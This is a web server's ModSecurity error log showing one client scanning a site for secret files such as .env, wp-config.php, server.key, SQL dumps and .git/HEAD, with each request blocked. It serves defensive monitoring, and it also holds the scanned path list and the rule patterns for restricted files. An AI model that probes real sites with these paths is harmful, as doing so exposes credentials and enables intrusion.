[Tue Oct 27 04:54:30.748315 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmxhEnDOWBtFG5jRP6qwAAAAw"]
[Tue Oct 27 04:54:30.748661 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmxhEnDOWBtFG5jRP6qwAAAAw"]
[Tue Oct 27 04:54:30.749004 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auBmxhEnDOWBtFG5jRP6qwAAAAw"]
[Tue Oct 27 04:54:30.862275 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auBmxhEnDOWBtFG5jRP6rAAAAAw"]
[Tue Oct 27 04:54:30.862594 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auBmxhEnDOWBtFG5jRP6rAAAAAw"]
[Tue Oct 27 04:54:30.862882 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auBmxhEnDOWBtFG5jRP6rAAAAAw"]
[Tue Oct 27 04:54:30.980093 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBmxhEnDOWBtFG5jRP6rQAAAAw"]
[Tue Oct 27 04:54:30.980321 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBmxhEnDOWBtFG5jRP6rQAAAAw"]
[Tue Oct 27 04:54:30.980570 2026] [security2:error] [pid 3201646:tid 3201646] [client 91.148.245.81:48966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBmxhEnDOWBtFG5jRP6rQAAAAw"]
[Tue Oct 27 04:54:31.063960 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auBmx5VvqGtwGAy54pYN9AAAAA0"]
[Tue Oct 27 04:54:31.064288 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auBmx5VvqGtwGAy54pYN9AAAAA0"]
[Tue Oct 27 04:54:31.064570 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auBmx5VvqGtwGAy54pYN9AAAAA0"]
[Tue Oct 27 04:54:31.447068 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmx5VvqGtwGAy54pYN9wAAAA0"]
[Tue Oct 27 04:54:31.447365 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmx5VvqGtwGAy54pYN9wAAAA0"]
[Tue Oct 27 04:54:31.447683 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auBmx5VvqGtwGAy54pYN9wAAAA0"]
[Tue Oct 27 04:54:31.601484 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 04:54:31.729490 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-QAAAA0"]
[Tue Oct 27 04:54:31.729794 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-QAAAA0"]
[Tue Oct 27 04:54:31.730144 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-QAAAA0"]
[Tue Oct 27 04:54:31.856721 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-gAAAA0"]
[Tue Oct 27 04:54:31.857031 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-gAAAA0"]
[Tue Oct 27 04:54:31.857390 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-gAAAA0"]
[Tue Oct 27 04:54:31.998688 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-wAAAA0"]
[Tue Oct 27 04:54:31.999000 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-wAAAA0"]
[Tue Oct 27 04:54:31.999361 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBmx5VvqGtwGAy54pYN-wAAAA0"]
[Tue Oct 27 04:54:32.110382 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "arg1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmyJVvqGtwGAy54pYN_AAAAA0"]
[Tue Oct 27 04:54:32.110692 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmyJVvqGtwGAy54pYN_AAAAA0"]
[Tue Oct 27 04:54:32.111028 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auBmyJVvqGtwGAy54pYN_AAAAA0"]
[Tue Oct 27 04:54:32.232887 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBmyJVvqGtwGAy54pYN_QAAAA0"]
[Tue Oct 27 04:54:32.233130 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBmyJVvqGtwGAy54pYN_QAAAA0"]
[Tue Oct 27 04:54:32.233443 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBmyJVvqGtwGAy54pYN_QAAAA0"]
[Tue Oct 27 04:54:32.691018 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 04:54:32.945384 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBmyJVvqGtwGAy54pYOAAAAAA0"]
[Tue Oct 27 04:54:32.945653 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBmyJVvqGtwGAy54pYOAAAAAA0"]
[Tue Oct 27 04:54:32.945970 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBmyJVvqGtwGAy54pYOAAAAAA0"]
[Tue Oct 27 04:54:33.075571 2026] [security2:error] [pid 3201647:tid 3201647] [client 91.148.245.81:49002] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auBmyZVvqGtwGAy54pYOAQAAAA0"]
